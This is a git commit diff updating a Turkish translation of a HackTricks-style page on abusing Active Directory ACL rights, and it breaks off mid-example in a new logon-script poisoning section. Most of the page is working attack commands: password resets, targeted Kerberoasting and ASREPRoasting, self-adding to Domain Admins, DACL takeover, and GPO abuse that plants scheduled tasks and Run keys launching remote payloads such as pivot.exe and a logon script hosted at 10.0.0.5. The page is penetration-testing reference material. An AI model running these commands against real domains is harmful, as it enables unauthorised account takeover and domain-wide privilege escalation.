Translated ['src/windows-hardening/windows-local-privilege-escalation/dl

This commit is contained in:
Translator 2025-09-29 23:02:53 +00:00
parent 6f1cb80a60
commit c1b69ade5a
3 changed files with 145 additions and 365 deletions

View File

@ -238,7 +238,6 @@
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
**Bu sayfa büyük ölçüde şu tekniklerin özetidir** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **ve** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Daha fazla detay için orijinal makalelere bakın.**
**Bu sayfa büyük ölçüde [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) ve [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) tekniklerinin bir özetidir. Daha fazla detay için orijinal makalelere bakın.**
## BadSuccessor
@ -13,30 +13,45 @@ BadSuccessor.md
## **Kullanıcı Üzerinde GenericAll Hakları**
Bu ayrıcalık, saldırganın hedef kullanıcı hesabı üzerinde tam kontrol sahibi olmasını sağlar. `Get-ObjectAcl` komutu kullanılarak `GenericAll` hakları doğrulandıktan sonra, saldırgan şunları yapabilir:
Bu yetki, saldırgana hedef bir kullanıcı hesabı üzerinde tam kontrol sağlar. `GenericAll` hakları `Get-ObjectAcl` komutu ile doğrulandıktan sonra, saldırgan şunları yapabilir:
- **Hedefin Parolasını Değiştirme**: `net user <username> <password> /domain` komutunu kullanarak, saldırgan kullanıcının parolasını sıfırlayabilir.
- **Targeted Kerberoasting**: Kullanıcının hesabına bir SPN atayarak hesabı kerberoastable hale getirin, sonra Rubeus ve targetedKerberoast.py kullanarak ticket-granting ticket (TGT) hash'lerini elde edip kırmayı deneyin.
- **Hedefin Parolasını Değiştirme**: `net user <username> <password> /domain` kullanarak saldırgan kullanıcının parolasını sıfırlayabilir.
- Linux'tan, Samba `net rpc` ile SAMR üzerinden aynı işlemi yapabilirsiniz:
```bash
# Reset target user's password over SAMR from Linux
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
```
- **Hesap devre dışıysa, UAC bayrağını temizleyin**: `GenericAll` `userAccountControl` düzenlemeye izin verir. Linux'tan, BloodyAD `ACCOUNTDISABLE` bayrağını kaldırabilir:
```bash
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
```
- **Targeted Kerberoasting**: Kullanıcının hesabına bir SPN atayarak onu kerberoastable hale getirin, sonra Rubeus ve targetedKerberoast.py kullanarak ticket-granting ticket (TGT) hashes'lerini çıkarıp kırmayı deneyin.
```bash
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
```
- **Targeted ASREPRoasting**: Kullanıcı için pre-authentication'i devre dışı bırakarak hesabını ASREPRoasting'e karşı savunmasız hale getirin.
- **Targeted ASREPRoasting**: Kullanıcı için pre-authentication'ı devre dışı bırakın; böylece hesabı ASREPRoasting'e karşı savunmasız hale gelir.
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- **Shadow Credentials / Key Credential Link**: Kullanıcıda `GenericAll` olduğunda, sertifika tabanlı bir kimlik bilgisi ekleyebilir ve parolasını değiştirmeden onun olarak kimlik doğrulaması yapabilirsiniz. Bkz:
{{#ref}}
shadow-credentials.md
{{#endref}}
## **Grup Üzerinde GenericAll Hakları**
Bu ayrıcalık, bir saldırganın `GenericAll` haklarına sahip olduğu, `Domain Admins` gibi bir grup üzerinde grup üyeliklerini değiştirmesine izin verir. `Get-NetGroup` ile grubun distinguished name'ini belirledikten sonra saldırgan şunları yapabilir:
Bu ayrıcalık, bir saldırganın `Domain Admins` gibi bir grup üzerinde `GenericAll` haklarına sahip olması durumunda grup üyeliklerini değiştirmesine olanak tanır. Grubun distinguished name'ini `Get-NetGroup` ile belirledikten sonra saldırgan şunları yapabilir:
- **Kendilerini Domain Admins grubuna ekleme**: Bu, doğrudan komutlarla veya Active Directory veya PowerSploit gibi modüller kullanılarak yapılabilir.
- **Kendilerini Domain Admins grubuna ekleme**: Bu, doğrudan komutlarla veya Active Directory ya da PowerSploit gibi modüller kullanılarak yapılabilir.
```bash
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
```
Linux'tan BloodyAD'yi kullanarak, üzerlerinde GenericAll/Write üyeliğiniz varsa kendinizi herhangi bir gruba ekleyebilirsiniz. Hedef grup "Remote Management Users" içine iç içe geçmişse, o grubu dikkate alan hostlarda hemen WinRM erişimi elde edersiniz:
- Linux'ten ayrıca BloodyAD'i kullanarak, üzerlerinde GenericAll/Write üyeliğiniz olduğunda kendinizi istediğiniz gruplara ekleyebilirsiniz. Hedef grup “Remote Management Users” içine gömülü ise, o grubu dikkate alan sunucularda hemen WinRM erişimi kazanırsınız:
```bash
# Linux tooling example (BloodyAD) to add yourself to a target group
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
@ -46,35 +61,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
```
## **GenericAll / GenericWrite / Write on Computer/User**
Bu ayrıcalıklara bir bilgisayar nesnesi veya kullanıcı hesabı üzerinde sahip olmak şunlara izin verir:
Bu ayrıcalıkları bir bilgisayar nesnesi veya bir kullanıcı hesabı üzerinde bulundurmak şunlara izin verir:
- **Kerberos Resource-based Constrained Delegation**: Bir bilgisayar nesnesinin ele geçirilmesini sağlar.
- **Shadow Credentials**: Bu tekniği, ayrıcalıkları kullanarak shadow credentials oluşturarak bir bilgisayarı veya kullanıcı hesabını taklit etmek için kullanın.
- **Shadow Credentials**: Bu tekniği, ayrıcalıkları kullanarak Shadow Credentials oluşturmaya ve böylece bir bilgisayar veya kullanıcı hesabını taklit etmeye yarar.
## **WriteProperty on Group**
Bir kullanıcı belirli bir grup için (ör. `Domain Admins`) tüm nesneler üzerinde `WriteProperty` haklarına sahipse, şunları yapabilir:
Eğer bir kullanıcı belirli bir grup için (ör. `Domain Admins`) tüm nesneler üzerinde `WriteProperty` haklarına sahipse, şunları yapabilir:
- **Kendilerini Domain Admins Grubuna Ekleme**: `net user` ve `Add-NetGroupUser` komutlarının kombinasyonu ile gerçekleştirilebilir; bu yöntem domain içinde privilege escalation sağlar.
- **Kendilerini `Domain Admins` Grubuna Ekleme**: `net user` ve `Add-NetGroupUser` komutlarının birleştirilmesiyle başarılabilir; bu yöntem domain içinde ayrıcalık yükseltmesine izin verir.
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **Self (Self-Membership) on Group**
## **Grup Üzerinde Self (Kendi Üyeliği)**
Bu hak, saldırganların grup üyeliğini doğrudan değiştiren komutlarla kendilerini `Domain Admins` gibi belirli gruplara eklemelerine olanak sağlar. Aşağıdaki komut dizisiyle kendinizi ekleyebilirsiniz:
Bu ayrıcalık, saldırganların grup üyeliğini doğrudan değiştiren komutlar aracılığıyla kendilerini `Domain Admins` gibi belirli gruplara eklemelerine olanak tanır. Aşağıdaki komut dizisini kullanmak, kendini eklemeye izin verir:
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **WriteProperty (Self-Membership)**
Benzer bir ayrıcalık olan bu, saldırganların ilgili gruplarda `WriteProperty` hakkına sahip olmaları halinde grup özelliklerini değiştirerek kendilerini doğrudan gruplara eklemelerine olanak sağlar. Bu ayrıcalığın doğrulanması ve yürütülmesi şununla gerçekleştirilir:
Benzer bir ayrıcalık olan bu hak, saldırganların söz konusu gruplar üzerinde `WriteProperty` hakkına sahip olmaları durumunda grup özelliklerini değiştirerek kendilerini doğrudan gruplara eklemelerine olanak tanır. Bu ayrıcalığın doğrulanması ve uygulanması şu şekilde gerçekleştirilir:
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
```
## **ForceChangePassword**
`User-Force-Change-Password` için bir kullanıcı üzerinde `ExtendedRight`'a sahip olmak, mevcut parolayı bilmeden parola sıfırlamalarına izin verir. Bu hakkın doğrulanması ve istismarı PowerShell veya alternatif komut satırı araçlarıyla yapılabilir; bir kullanıcının parolasını sıfırlamak için etkileşimli oturumlar ve etkileşimsiz ortamlar için tek satırlık komutlar da dahil olmak üzere çeşitli yöntemler sunar. Komutlar basit PowerShell çağrılarından Linux üzerinde `rpcclient` kullanımına kadar uzanır ve bu da saldırı vektörlerinin çok yönlülüğünü gösterir.
Bir kullanıcı üzerinde `User-Force-Change-Password` için `ExtendedRight`'e sahip olmak, mevcut parolayı bilmeden parola sıfırlamaya izin verir. Bu hakkın doğrulanması ve kötüye kullanılması PowerShell veya alternatif komut satırı araçlarıyla yapılabilir; etkileşimli oturumlar ve etkileşimsiz ortamlar için tek satırlık çözümler dahil olmak üzere bir kullanıcının parolasını sıfırlamak için çeşitli yöntemler sunar. Komutlar basit PowerShell çağrılarından Linux'ta `rpcclient` kullanmaya kadar değişir ve saldırı vektörlerinin çok yönlülüğünü gösterir.
```bash
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
@ -85,9 +100,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
```
## **WriteOwner'ın Grup Üzerinde Kullanımı**
## **WriteOwner on Group**
Eğer bir saldırganın bir grup üzerinde `WriteOwner` hakkı varsa, grubun sahipliğini kendisine atayabilir. Bu, söz konusu grup `Domain Admins` ise özellikle etkilidir; sahiplik değişikliği grup öznitelikleri ve üyelik üzerinde daha geniş kontrol sağlar. İşlem, doğru nesnenin `Get-ObjectAcl` ile belirlenmesini ve ardından sahibi `Set-DomainObjectOwner` ile SID veya isim kullanarak değiştirmeyi içerir.
Eğer bir saldırganın bir grup üzerinde `WriteOwner` hakları olduğu tespit edilirse, grubun sahipliğini kendisine çevirebilir. Bu, ilgili grup `Domain Admins` olduğunda özellikle etkili olur; çünkü sahipliğin değiştirilmesi grup öznitelikleri ve üyelik üzerinde daha geniş kontrol sağlar. Süreç doğru nesneyi `Get-ObjectAcl` ile belirlemeyi ve ardından sahibi `Set-DomainObjectOwner` kullanarak SID veya isim ile değiştirmeyi içerir.
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
@ -95,13 +110,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
```
## **GenericWrite on User**
Bu izin bir saldırganın kullanıcı özelliklerini değiştirmesine olanak tanır. Özellikle `GenericWrite` erişimiyle saldırgan, kullanıcı oturum açtığında kötü amaçlı bir betiği çalıştırmak için bir kullanıcının oturum açma betiği yolunu değiştirebilir. Bu, hedef kullanıcının `scriptpath` özelliğini saldırganın betiğine işaret edecek şekilde güncellemek için `Set-ADObject` komutunun kullanılmasıyla gerçekleştirilir.
Bu izin, bir saldırganın kullanıcı özelliklerini değiştirmesine olanak tanır. Özellikle, `GenericWrite` erişimi ile saldırgan, bir kullanıcının logon script yolunu değiştirerek kullanıcı oturumu açıldığında kötü amaçlı bir script'in çalışmasını sağlayabilir. Bu, hedef kullanıcının `scriptpath` özelliğini saldırganın script'ine işaret edecek şekilde güncellemek için `Set-ADObject` komutunun kullanılmasıyla gerçekleştirilir.
```bash
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
## **GenericWrite on Group**
Bu ayrıcalık sayesinde saldırganlar grup üyeliğini manipüle edebilir; örneğin kendilerini veya diğer kullanıcıları belirli gruplara ekleyebilirler. Bu süreç bir kimlik bilgisi nesnesi (credential object) oluşturmayı, bunu kullanarak kullanıcıları bir gruba eklemeyi veya gruptan kaldırmayı ve PowerShell komutlarıyla üyelik değişikliklerini doğrulamayı içerir.
Bu ayrıcalıkla saldırganlar grup üyeliklerini değiştirebilir; örneğin kendilerini veya diğer kullanıcıları belirli gruplara ekleyebilirler. Bu süreç, bir credential object oluşturmayı, bunu kullanarak bir gruba kullanıcı ekleme veya kaldırma işlemleri yapmayı ve PowerShell komutlarıyla üyelik değişikliklerini doğrulamayı içerir.
```bash
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -109,9 +124,16 @@ Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'userna
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
```
- Linux'te, Samba `net` grup üzerinde `GenericWrite` hakkına sahip olduğunuzda üye ekleyip/kaldırabilir (PowerShell/RSAT kullanılamadığında faydalıdır):
```bash
# Add yourself to the target group via SAMR
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
# Verify current members
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
```
## **WriteDACL + WriteOwner**
Bir AD nesnesine sahip olmak ve üzerinde `WriteDACL` ayrıcalıklarına sahip olmak, saldırganın kendine nesne üzerinde `GenericAll` ayrıcalıkları vermesini sağlar. Bu, ADSI manipülasyonu aracılığıyla gerçekleştirilir; nesne üzerinde tam kontrol ve grup üyeliklerini değiştirme yeteneği sağlar. Buna rağmen, Active Directory modülünün `Set-Acl` / `Get-Acl` cmdlets'lerini kullanarak bu ayrıcalıkları istismar etmeye çalışırken sınırlamalar vardır.
Bir AD nesnesine sahip olmak ve üzerinde `WriteDACL` ayrıcalıklarına sahip olmak, saldırganın nesne üzerinde kendisine `GenericAll` ayrıcalıkları vermesini sağlar. Bu, ADSI manipülasyonu yoluyla gerçekleştirilir; nesne üzerinde tam kontrol ve grup üyeliklerini değiştirme yeteneği sağlar. Bununla birlikte, Active Directory modülünün `Set-Acl` / `Get-Acl` cmdlet'lerini kullanarak bu ayrıcalıkları istismar etmeye çalışırken sınırlamalar vardır.
```bash
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -119,66 +141,141 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
```
### WriteDACL/WriteOwner hızlı ele geçirme (PowerView)
Kullanıcı veya servis hesabı üzerinde `WriteOwner` ve `WriteDacl` haklarına sahip olduğunuzda, PowerView kullanarak eski şifreyi bilmeden hesap üzerinde tam kontrolü ele geçirip parolasını sıfırlayabilirsiniz:
```powershell
# Load PowerView
. .\PowerView.ps1
# Grant yourself full control over the target object (adds GenericAll in the DACL)
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
# Set a new password for the target principal
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
```
Notlar:
- Yalnızca `WriteOwner` izniniz varsa önce sahibi kendinize değiştirmeniz gerekebilir:
```powershell
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
```
- Parola sıfırlamasından sonra herhangi bir protokol (SMB/LDAP/RDP/WinRM) ile erişimi doğrulayın.
## **Etki Alanında Replikasyon (DCSync)**
DCSync saldırısı, etki alanındaki belirli replikasyon izinlerini kullanarak bir Domain Controller'ı taklit eder ve kullanıcı kimlik bilgileri de dahil olmak üzere verileri senkronize eder. Bu güçlü teknik `DS-Replication-Get-Changes` gibi izinler gerektirir; bu sayede saldırganlar bir Domain Controller'a doğrudan erişim olmadan AD ortamından hassas bilgileri çıkarabilir. [**Learn more about the DCSync attack here.**](../dcsync.md)
The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
## GPO Yetkilendirmesi <a href="#gpo-delegation" id="gpo-delegation"></a>
## GPO Yetki Devri <a href="#gpo-delegation" id="gpo-delegation"></a>
### GPO Yetkilendirmesi
### GPO Yetki Devri
GPO'ları (Group Policy Objects) yönetmek için devredilen erişim ciddi güvenlik riskleri oluşturabilir. Örneğin, `offense\spotless` gibi bir kullanıcıya GPO yönetim hakları devredilmişse, **WriteProperty**, **WriteDacl** ve **WriteOwner** gibi ayrıcalıklara sahip olabilir. Bu izinler kötü amaçla kullanılabilir; PowerView ile tespit örneği: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
Group Policy Objects (GPOs) yönetimi için devredilen erişim ciddi güvenlik riskleri oluşturabilir. Örneğin, `offense\spotless` gibi bir kullanıcıya GPO yönetim hakları devredilmişse **WriteProperty**, **WriteDacl**, ve **WriteOwner** gibi ayrıcalıklara sahip olabilir. Bu izinler kötü amaçlı kullanım için suistimal edilebilir; PowerView ile tespit edilir: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
### GPO İzinlerini Belirleme
### GPO İzinlerini Listeleme
Yanlış yapılandırılmış GPO'ları belirlemek için PowerSploit cmdlet'leri zincirlenebilir. Bu, belirli bir kullanıcının yönetme iznine sahip olduğu GPO'ları keşfetmeyi sağlar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
Yanlış yapılandırılmış GPO'ları belirlemek için PowerSploit'in cmdlet'leri zincirlenebilir. Bu, belirli bir kullanıcının yönetme iznine sahip olduğu GPO'ların keşfedilmesini sağlar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
**Belirli Bir Politikanın Uygulandığı Bilgisayarlar**: Belirli bir GPO'nun hangi bilgisayarlara uygulandığını çözümlemek mümkündür; bu, potansiyel etkinin kapsamını anlamaya yardımcı olur. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**Belirli Bir Politika Uygulanan Bilgisayarlar**: Belirli bir GPO'nun hangi bilgisayarlara uygulandığını çözümlemek mümkündür; bu, potansiyel etkinin kapsamını anlamaya yardımcı olur. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**Belirli Bir Bilgisayara Uygulanan Politikalar**: Belirli bir bilgisayara hangi politikaların uygulandığını görmek için `Get-DomainGPO` gibi komutlar kullanılabilir.
**Belirli Bir Bilgisayara Uygulanan Politikalar**: Bir bilgisayara hangi politikaların uygulandığını görmek için `Get-DomainGPO` gibi komutlar kullanılabilir.
**Belirli Bir Politikayla Etkilenen OU'lar**: Belirli bir politikadan etkilenen organizational unit'leri (OU'lar) belirlemek için `Get-DomainOU` kullanılabilir.
**Belirli Bir Politika Uygulanan OU'lar**: Belirli bir politikadan etkilenen organizasyon birimleri (OU'lar) `Get-DomainOU` kullanılarak belirlenebilir.
GPO'ları sıralamak ve içlerindeki sorunları bulmak için [**GPOHound**](https://github.com/cogiceo/GPOHound) aracını da kullanabilirsiniz.
GPO'ları listelemek ve içlerindeki sorunları bulmak için [**GPOHound**](https://github.com/cogiceo/GPOHound) aracını da kullanabilirsiniz.
### Abuse GPO - New-GPOImmediateTask
### GPO'yu Suistimal Etme - New-GPOImmediateTask
Yanlış yapılandırılmış GPO'lar, örneğin anında çalışan bir scheduled task oluşturarak kod yürütmek için sömürülebilir. Bu, etkilenen makinelerde bir kullanıcıyı yerel yöneticiler grubuna eklemek için yapılabilir ve ayrıcalıkları önemli ölçüde yükseltir:
Yanlış yapılandırılmış GPO'lar kod yürütmek için suistimal edilebilir; örneğin, hemen yürütülecek bir scheduled task oluşturarak. Bu, etkilenen makinelerde bir kullanıcıyı yerel yöneticiler grubuna eklemek için yapılabilir ve ayrıcalıkları önemli ölçüde yükseltir:
```bash
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
### GroupPolicy module - Abuse GPO
GroupPolicy module, kuruluysa, yeni GPOs oluşturmaya ve bağlamaya, ayrıca etkilenen bilgisayarlarda backdoors çalıştırmak için registry values gibi tercihleri ayarlamaya izin verir. Bu yöntem, yürütme için GPO'nun güncellenmesini ve bir kullanıcının bilgisayara oturum açmasını gerektirir:
GroupPolicy module, yüklüyse, yeni GPO'ların oluşturulmasına ve bağlanmasına, ayrıca etkilenen bilgisayarlarda backdoors çalıştırmak için registry values gibi tercihlerin ayarlanmasına izin verir. Bu yöntem, çalıştırılabilmesi için GPO'nun güncellenmesini ve bir kullanıcının bilgisayara giriş yapmasını gerektirir:
```bash
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
```
### SharpGPOAbuse - Abuse GPO
SharpGPOAbuse, yeni GPO'lar oluşturmaya gerek kalmadan mevcut GPO'ları görevler ekleyerek veya ayarları değiştirerek suistimal etme yöntemi sunar. Bu araç, değişiklikleri uygulamadan önce mevcut GPO'ların değiştirilmesini veya yeni GPO'lar oluşturmak için RSAT araçlarının kullanılmasını gerektirir:
SharpGPOAbuse, yeni GPO'lar oluşturmaya gerek kalmadan mevcut GPOs'lara görevler ekleyerek veya ayarlarını değiştirerek bunları abuse etme yöntemi sunar. Bu araç, değişiklikleri uygulamadan önce mevcut GPOs'ların değiştirilmesini veya yeni GPO'lar oluşturmak için RSAT araçlarının kullanılmasını gerektirir:
```bash
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
```
### Force Policy Update
### Politika Güncellemesini Zorlama
GPO güncellemeleri genellikle yaklaşık her 90 dakikada bir gerçekleşir. Bu süreci, özellikle bir değişiklik uygulandıktan sonra hızlandırmak için hedef bilgisayarda `gpupdate /force` komutu kullanılarak anında bir politika güncellemesi zorlanabilir. Bu komut, GPO'larda yapılan herhangi bir değişikliğin bir sonraki otomatik güncelleme döngüsünü beklemeden uygulanmasını sağlar.
GPO güncellemeleri tipik olarak yaklaşık her 90 dakikada bir gerçekleşir. Bu süreci hızlandırmak için, özellikle bir değişiklik uygulandıktan sonra, hedef bilgisayarda `gpupdate /force` komutu kullanılarak anında politika güncellemesi zorlanabilir. Bu komut, GPO'larda yapılan değişikliklerin bir sonraki otomatik güncelleme döngüsünü beklemeden uygulanmasını sağlar.
### Under the Hood
### İç İşleyiş
Belirli bir GPO için Scheduled Tasks incelendiğinde, örneğin `Misconfigured Policy`, `evilTask` gibi görevlerin eklendiği doğrulanabilir. Bu görevler, sistem davranışını değiştirmeyi veya ayrıcalıkları yükseltmeyi amaçlayan scriptler veya komut satırı araçlarıyla oluşturulur.
Belirli bir GPO için Zamanlanmış Görevler incelendiğinde, örneğin `Misconfigured Policy` içinde `evilTask` gibi görevlerin eklendiği doğrulanabilir. Bu görevler, sistem davranışını değiştirmeyi veya ayrıcalıkları yükseltmeyi amaçlayan betikler veya komut satırı araçları ile oluşturulur.
Görevin yapısı, `New-GPOImmediateTask` tarafından oluşturulan XML yapılandırma dosyasında gösterildiği gibi, yürütülecek komut ve tetikleyiciler dahil olmak üzere zamanlanmış görevin ayrıntılarını özetler. Bu dosya, GPO'lar içinde zamanlanmış görevlerin nasıl tanımlandığını ve yönetildiğini gösterir; politika uygulamasının bir parçası olarak rastgele komutların veya scriptlerin çalıştırılması için bir yöntem sağlar.
Görevin yapısı, `New-GPOImmediateTask` tarafından oluşturulan XML yapılandırma dosyasında gösterildiği gibi, yürütülecek komut ve tetikleyiciler dahil olmak üzere zamanlanmış görevin ayrıntılarını ortaya koyar. Bu dosya, zamanlanmış görevlerin GPO'lar içinde nasıl tanımlandığını ve yönetildiğini gösterir; politika uygulamasının bir parçası olarak rastgele komutlar veya betikler çalıştırmak için bir yöntem sağlar.
### Users and Groups
GPO'lar ayrıca hedef sistemlerde kullanıcı ve grup üyeliklerinin değiştirilmesine de izin verir. Users and Groups politika dosyalarını doğrudan düzenleyerek, saldırganlar yerel `administrators` gibi ayrıcalıklı gruplara kullanıcı ekleyebilir. Bu, GPO yönetim izinlerinin delegasyonu yoluyla mümkündür; bu da politika dosyalarının yeni kullanıcılar ekleyecek veya grup üyeliklerini değiştirecek şekilde değiştirilmesine izin verir.
GPO'lar ayrıca hedef sistemlerdeki kullanıcı ve grup üyeliklerinin değiştirilmesine imkan tanır. Users and Groups policy dosyalarını doğrudan düzenleyerek, saldırganlar yerel `administrators` gibi ayrıcalıklı gruplara kullanıcı ekleyebilirler. Bu, GPO yönetim izinlerinin devredilmesi yoluyla mümkündür; bu izinler, politika dosyalarının yeni kullanıcılar ekleyecek veya grup üyeliklerini değiştirecek şekilde düzenlenmesine olanak tanır.
Users and Groups için XML yapılandırma dosyası bu değişikliklerin nasıl uygulandığını ortaya koyar. Bu dosyaya girişler ekleyerek, belirli kullanıcılara etkilenen sistemler genelinde yükseltilmiş ayrıcalıklar verilebilir. Bu yöntem, GPO manipülasyonu yoluyla ayrıcalık yükseltmeye doğrudan bir yaklaşım sunar.
Users and Groups için XML yapılandırma dosyası bu değişikliklerin nasıl uygulanacağınııklar. Bu dosyaya girişler ekleyerek, belirli kullanıcılara etkilenen sistemler genelinde yükseltilmiş ayrıcalıklar verilebilir. Bu yöntem, GPO'ların kötüye kullanılması yoluyla doğrudan ayrıcalık yükseltme sağlar.
Dahası, kod çalıştırma veya kalıcılığı sürdürme için logon/logoff scripts kullanmak, autoruns için registry anahtarlarını değiştirmek, .msi dosyalarıyla yazılım yüklemek veya servis yapılandırmalarını düzenlemek gibi ek yöntemler de değerlendirilebilir. Bu teknikler, GPO'ların kötüye kullanılması yoluyla erişimi sürdürmek ve hedef sistemleri kontrol etmek için çeşitli yollar sağlar.
Ayrıca, logon/logoff betiklerini kullanmak, autoruns için kayıt defteri anahtarlarını değiştirmek, .msi dosyalarıyla yazılım yüklemek veya hizmet yapılandırmalarını düzenlemek gibi kod yürütme veya kalıcılık sağlama için ek yöntemler düşünülebilir. Bu teknikler, GPO'ların kötüye kullanılması yoluyla erişimi sürdürmek ve hedef sistemleri kontrol etmek için çeşitli yollar sunar.
## References
## SYSVOL/NETLOGON Logon Script Poisoning
Writable paths under `\\<dc>\SYSVOL\<domain>\scripts\` or `\\<dc>\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.
### Logon script'lerini Bulma
- Yapılandırılmış bir logon script'i için kullanıcı özniteliklerini inceleyin:
```powershell
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
```
- Etki alanı paylaşımlarını tarayarak kısayolları veya betiklere yapılan referansları ortaya çıkarın:
```bash
# NetExec spider (authenticated)
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
```
- `.lnk` dosyalarını ayrıştırarak SYSVOL/NETLOGON'a işaret eden hedefleri çözümler (DFIR için kullanışlı bir yöntem ve doğrudan GPO erişimi olmayan saldırganlar için):
```bash
# LnkParse3
lnkparse login.vbs.lnk
# Example target revealed:
